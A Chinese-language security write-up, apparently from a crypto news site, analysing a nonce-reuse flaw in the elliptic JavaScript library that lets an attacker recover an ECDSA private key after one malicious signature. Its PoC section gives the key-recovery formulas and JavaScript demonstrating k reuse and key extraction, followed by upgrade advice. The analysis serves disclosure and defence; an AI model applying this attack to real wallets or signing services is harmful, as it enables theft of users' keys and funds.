值得信赖的区块链资讯!
ECDSA 签名中的私钥泄露:elliptic 库畸形输入漏洞分析
作者:enze
编辑:Liz
引言
近期,JavaScript 生态中广泛使用的 elliptic 加密库被发现存在严重安全漏洞(GHSA-vjh7-7g9h-fjfh)。攻击者可以通过构造特定输入,在仅签名一次的情况下提取私钥,从而完全掌控受害者的数字资产或身份凭证。
该漏洞的根本原因在于 elliptic 库对非标准输入的处理缺陷,导致 ECDSA 签名中的随机数 k 可能重复。由于 ECDSA 算法的安全性极度依赖 k 的唯一性,一旦 k 重复,私钥便可被直接推导出来,造成不可逆的安全风险。
本文将分析漏洞原理、成因及影响,并提供修复建议,帮助开发者降低安全风险。
漏洞背景
elliptic 库简介
elliptic 是 JavaScript 生态中广泛使用的椭圆曲线密码学库,支持多种曲线(如 secp256k1、ed25519)。该库被大量加密货币钱包、身份认证系统、Web3 应用等使用。
影响范围
-
受影响版本:elliptic <= 6.6.0
-
受影响曲线:secp256k1、ed25519 等
-
影响场景:所有接受外部输入进行 ECDSA 签名的应用(特别是接受外部输入进行签名的系统)
如果应用依赖 elliptic 进行 ECDSA 签名,并允许用户提供未经过滤的消息作为签名内容,则极有可能受到该漏洞影响。
漏洞原理
ECDSA 签名中的随机数 k
想象你有一枚独一无二的印章(私钥),每次签署文件时,都需要蘸取一种独特的印泥(随机数 k)。盖出的印迹会生成两个数字 r 和 s,这就是签名结果。
这个过程有几个关键点:
-
印章(私钥)始终不变 —— 代表你的身份。
-
每次签名都必须用全新的印泥(随机数 k 绝不能重复)。
-
即使签署相同的文件,签名结果(r, s)也必须不同。
-
任何人都可以验证印迹是否由你的印章盖出(公钥验证签名)。
-
但没人能从印迹反推出你的印章(私钥),只要 k 是安全的。
为了保证 k 的安全性,ECDSA 采用 RFC 6979 规范,使用确定性随机数生成器(HMAC_DRBG 或 HKDF)来计算 k。生成 k 时,使用私钥 d 和消息 m 作为种子,确保 k 在相同输入下固定。计算流程如下:
k = combine(d, m) // 确定性随机数,符合 RFC 6979 R = G × k // 计算椭圆曲线点 R r = R.x mod n // 取 R 的 x 坐标作为签名的一部分 s = k^-1 ⋅ (m + d⋅r) mod n // 计算签名的另一部分 s sig = (r, s) // 生成最终签名
关键点:
1. k 必须是随机且唯一的,否则会导致私钥泄露。
2. 如果 k 在两次签名时相同,攻击者可以简单地通过两个签名 (r, s1) 和 (r, s2) 直接恢复私钥 d。
数学推导:
假设用户对两条不同的消息 m1 和 m2 进行了签名,但随机数 k 意外相同,那么签名结果如下:
s1 = (k^-1)⋅(m1 + r⋅d) mod n s2 = (k^-1)⋅(m2 + r⋅d) mod n
攻击者可以计算 s1 和 s2 的差值:
s1 - s2 = (k^-1)⋅(m1 - m2) mod n
由于 m1、m2、s1 和 s2 都是已知的,攻击者可以解出 k:
k = ((s1 - s2)^-1) ⋅ (m1 - m2) mod n
然后,将 k 代入原始签名方程,解出私钥 d:
r⋅d = s1⋅k - m1 d = (r^-1)⋅(s1⋅k - m1) mod n
漏洞分析
elliptic 库本应使用 HMAC_DRBG(确定性随机数生成器)确保每次签名的 k 唯一。然而,由于输入处理的错误,某些情况下不同的消息可能生成相同的 k,导致私钥泄露。
k 生成代码
在 elliptic 库的 sign() 方法中,k 由 HMAC_DRBG 伪随机数生成器生成,相关代码如下:
elliptic/lib/elliptic/ec/index.js
msg = this._truncateToN(msg, false, options.msgBitLength);// Zero-extend key to provide enough entropyvar bytes = this.n.byteLength();var bkey = key.getPrivate().toArray('be', bytes);// Zero-extend nonce to have the same byte size as Nvar nonce = msg.toArray('be', bytes);// Instantiate Hmac_DRBGvar drbg = new HmacDRBG({ hash: this.hash, entropy: bkey, nonce: nonce, pers: options.pers, persEnc: options.persEnc || 'utf8',});
HMAC_DRBG 的输入参数主要包括:
-
entropy(熵) → 这里使用的是私钥 bkey,确保 HMAC_DRBG 具有足够的随机性。
-
nonce(随机数种子) → 由 msg 计算而来,影响 k 的最终生成值。
由于 HMAC_DRBG 是确定性的,相同的 entropy 和 nonce 会生成相同的 k。如果 nonce 在不同的签名过程中相同,则 k 也会相同,这将导致私钥泄露。
漏洞成因:BN 转换导致 nonce 复用
在 elliptic 的实现中,msg 被转换为 BN (Big Number),然后 nonce 由 msg.toArray() 计算:
var nonce = msg.toArray('be', bytes);
问题点:
-
msg 是 BN 实例,但 nonce 是数组。
-
不同的 BN 实例可能在转换后生成相同的数组。
-
这意味着可以为不同的消息生成相同的 nonce,最终导致 k 复用。
如果 k 在两个不同的消息 msg1 和 msg2 上复用,则可以通过上文提到的数学公式恢复私钥 d。
攻击者可以构造特殊的 msg,使其 nonce 相同,从而导致 k 复用。只需要获取一对 (r, s1) 和 (r, s2),即可通过数学计算恢复私钥 d。更严重的是,攻击者可以针对任何已知的消息/签名对构造这样的恶意 msg,这意味着只要诱导受害者签署一次恶意消息,攻击者就能完全恢复私钥,并伪造任意签名。
漏洞利用(PoC)
elliptic 库允许使用十六进制字符串作为输入类型之一,在签名时会将 msg 转换为 BN 实例,再转换为数组类型。如果两个不同的消息在转换后生成相同的数组,nonce 也会相同,最终导致 k 复用。
代码示例:
const elliptic = require('elliptic');const crypto = require('crypto');const { ec: EC } = elliptic;const privateKey = crypto.getRandomValues(new Uint8Array(32))const curve = 'secp256k1';const ec = new EC(curve);const prettyprint = ({ r, s }) => `r: ${r}, s: ${s}`const msg1 = 'message';const msg2 = '-message';console.log('\n原始消息:');console.log('msg1:', msg1);console.log('msg2:', msg2);const sig1 = prettyprint(ec.sign(msg1, privateKey));const sig2 = prettyprint(ec.sign(msg2, privateKey));console.log('签名结果:');console.log('sig1:', sig1);console.log('sig2:', sig2);
运行输出:
原始消息:msg1: messagemsg2: -message签名结果:sig1: r: 104603683070405608893121994772569954579668786354993804047147606840356574004233, s: 45238971282208969875952227936984289798913868693111844367904834409773355688280sig2: r: 104603683070405608893121994772569954579668786354993804047147606840356574004233, s: 33413981207006126473424310277806110366155448264152524923855174498663885342744
msg1 = "message" 和 msg2 = "-message" 经过 BN 转换后,生成了相同的 nonce(elliptic 的设计接受十六进制字符串作为可能的输入类型之一)。由于 nonce 相同,导致 HMAC_DRBG 生成的 k 也相同。从签名结果中可以看到,r 值完全相同,这正是 k 复用的直接表现。
完整攻击流程:
1. 模拟受害者签名一条正常的消息,获取消息 msg0 和签名 sig0。
2. 攻击者构造恶意消息 msg1,并诱导受害者进行签名,获得 sig1。
3. 利用 k 复用漏洞,从 (r, s1) 和 (r, s2) 计算 k。
4. 利用 k 进一步计算出私钥 d,攻击成功。
代码示例:
const elliptic = require('elliptic');const BN = require('bn.js');const keccak256 = require('keccak256');const { ec: EC } = ellipticconst curve = 'secp256k1' // or any other curve, e.g. ed25519const ec = new EC(curve)const privateKey = crypto.getRandomValues(new Uint8Array(32)) // 随机私钥// 模拟受害者签署一笔正常的交易消息const message = "Example `personal_sign` message";const msg0 = createEthereumSignatureMessage(message);const sig0 = ec.sign(msg0, privateKey);// 构造恶意消息const msg1 = Maliciousmsg(msg0);// 模拟受害者签署恶意消息const sig1 = ec.sign(msg1, privateKey);// 利用数学计算提取签名const Fake_privateKey = extract(msg0, sig0, sig1, curve)console.log('Curve:', curve)console.log('Typeof:', typeof msg1)console.log('Keys equal?', Buffer.from(privateKey).toString('hex') === Fake_privateKey)const rnd = crypto.getRandomValues(new Uint8Array(32))const st = (x) => JSON.stringify(x)console.log('Keys equivalent?', st(ec.sign(rnd, Fake_privateKey).toDER()) === st(ec.sign(rnd, privateKey).toDER()))console.log('Orig key:', Buffer.from(privateKey).toString('hex'))console.log('Restored:', Fake_privateKey)
运行输出:
Curve: secp256k1Typeof: objectKeys equal? trueKeys equivalent? trueOrig key: dcd768c5a8346fe51d24377b1e7c47b2afa6d5e8a4fd12de685fce59d4d83e8dRestored: dcd768c5a8346fe51d24377b1e7c47b2afa6d5e8a4fd12de685fce59d4d83e8d
修复建议
1. 升级 elliptic 至 6.6.1+,官方已修复该问题。
2. 避免直接签名未经验证的消息,确保 msg 经过标准化处理。
3. 更换可能受影响的私钥。
总结
elliptic 的这个漏洞暴露了 ECDSA 签名对随机数 k 的极端敏感性。一旦 k 复用,私钥便可被直接恢复,攻击者可完全控制用户资产和身份。开发者应及时修复漏洞,并严格规范输入处理,以确保 ECDSA 签名的安全性。最后,感谢 Rabby 钱包提供的漏洞情报。
参考资料
[1] https://github.com/indutny/elliptic/security/advisories/GHSA-vjh7-7g9h-fjfh
[2] https://paulmillr.com/posts/deterministic-signatures
比推快讯
更多 >>- 道琼斯指数收盘下跌 166.67 点,标普 500 和纳斯达克均下跌
- 美股收盘,纳指跌超 1%,PayPal 大跌 20%
- 富兰克林邓普顿高管:数字钱包将承载人们的全部资产
- 加拿大投资监管机构 CIRO 推出新的数字资产托管框架
- 乔什·哈里斯:任命沃什为美联储主席将消除市场不确定性
- 英伟达股价跌幅扩大至 5%
- 英伟达CEO:英伟达将投资于OpenAI的下一轮融资,并希望参与其未来的IPO
- Trend Research 与BTC OG 内幕巨鲸地址近 3 日累计抛售 31 万枚 ETH,用于偿还贷款
- 比特币近 20 分钟快速反弹 3.23%,以太坊反弹 4.14%
- 美众议院批准拨款法案以结束政府部分停摆,法案将送交特朗普签署
- 以太坊短时下跌触及 2110 美元,现回升至 2180 美元
- 比特币短时跌破 7.3 万美元后,小幅反弹至 7.47 万美元
- 数据:2479.17 万枚 ARB 转入 Coinbase Prime,价值约 308.72 万美元
- 数据:173.9 枚 BTC 从 Wintermute 转出,价值约 1283 万美元
- Pantera Capital CEO:预计比特币在未来十年将“大幅跑赢”黄金
- 数据:971.43 万枚 JITO 从 Squads Vault "Jito Tokenomics SubDAO" 转出,价值约 275 万美元
- BTC跌破75000 USDT,24H跌幅5.1%
- 市场消息:美国众议院通过政府拨款法案的程序性障碍,为最终表决铺平道路
- 美股延续跌势,标普 500 指数下跌 1%
- “1011 内幕巨鲸”向币安存入 2 万枚 ETH,价值 4496 万美元
- 数据:过去 24 小时全网爆仓 2.79 亿美元,多单爆仓 1.7 亿美元,空单爆仓 1.09 亿美元
- 数据:294.42 枚 BTC 从 Coinbase 转出,价值约 2212 万美元
- Axie Infinity 拟推出新代币 bAXS 并进行两轮空投
- 数据:BTC 跌破 77000 美元
- Tom Lee:加密货币市场目前可能已触及或接近底部
- 某巨鲸今日再次投入 400 万美元买入 HYPE,目前持有 2017 万美元 HYPE
- 标普预测:到 2030 年欧元稳定币发行量将增长 1600 倍,达到 1.3 万亿美元
- Vitalik Buterin:以太坊 L2 原有愿景已不再适用,需寻找新路径
- SharpLink:上周通过质押奖励产生 482 枚 ETH
- 彭博社:Crypto.com 将在超级碗前推出预测市场平台 OG
- 数据:2888 枚 PAXG 从 Paxos 转入 Binance,价值约 1432 万美元
- 渣打银行下调 Solana 价格近期预测,但上调 2030 年预期至 2000 美元
- 美国众议院议长:将于周二批准推进相关立法,以结束短暂的美国政府停摆
- MetaMask 将通过 Ondo 平台新增美国股票、ETF 和商品代币化功能
- Ondo 推出美股 IPO 上市后实时上链交易服务
- 矿企 Cango 于 1 月产出 496.35 枚比特币,并卖出 550 枚比特币用于公司运营
- Ondo 已向 SEC 提交注册声明,提供符合 SEC 标准的发行人级信息披露
- 美股股指跌幅扩大,纳指跌 1%
- Rails 在 Stellar 网络上推出“机构级金库”
- Y Combinator 将允许其春季批次的创业者以稳定币形式接收融资
- 纳斯达克 100 指数跌幅扩大至 1%
- 伯恩斯坦:Robinhood 股价今年已跌超 20%,多元化产品组合将抵消加密熊市中的部分下行风险
- 预测市场专业交易终端 Kairos 完成 250 万美元融资,a16z crypto 领投
- Y Combinator 将于 2026 年春季起为初创公司开放稳定币融资选项
- Kraken 母公司 Payward:2025 全年收入同比增长 33%
- 乔恩·格雷:更好的数据将助美联储降低利率
- 麻吉同步减仓 ETH 与 HYPE 多单,账户浮亏 6.5 万美元
- MetaMask 与 Ondo Finance 合作推出 200 余种代币化美股及 ETF
- 巴尔金:美联储政策利率处于中性利率高端
- 达利欧:全球濒临资本战争边缘,黄金仍是头号对冲工具
比推专栏
更多 >>- Challenge,risk And chances|0130 Asian
- Meta 豪赌 AI:砸钱 1350 亿美元,2026 的扎克伯格,值得相信么?
- Variables: Terrible snowstorm|0128 Asian
- 英特尔「生死线」时刻:在 ICU 门前,陈立武如何清算遗产并开启自救?
- 從1月13號到今天,提前到5100|0126Asian
- You Should work HARDER in 2026|0120 Asian
- 硅谷最聪明那群人的「终极推演」:2026,我们应该「All-In」什么?
- Notice us dollar index|0116 in us
- 我们用大模型,给 2026 年的代币化/Web3「算了一卦」
- 十年新低 金銀比將帶我們走向何方|0113
观点
比推热门文章
- 道琼斯指数收盘下跌 166.67 点,标普 500 和纳斯达克均下跌
- 美股收盘,纳指跌超 1%,PayPal 大跌 20%
- 富兰克林邓普顿高管:数字钱包将承载人们的全部资产
- 加拿大投资监管机构 CIRO 推出新的数字资产托管框架
- 乔什·哈里斯:任命沃什为美联储主席将消除市场不确定性
- 英伟达股价跌幅扩大至 5%
- 英伟达CEO:英伟达将投资于OpenAI的下一轮融资,并希望参与其未来的IPO
- Trend Research 与BTC OG 内幕巨鲸地址近 3 日累计抛售 31 万枚 ETH,用于偿还贷款
- 比特币近 20 分钟快速反弹 3.23%,以太坊反弹 4.14%
- 美众议院批准拨款法案以结束政府部分停摆,法案将送交特朗普签署
比推 APP



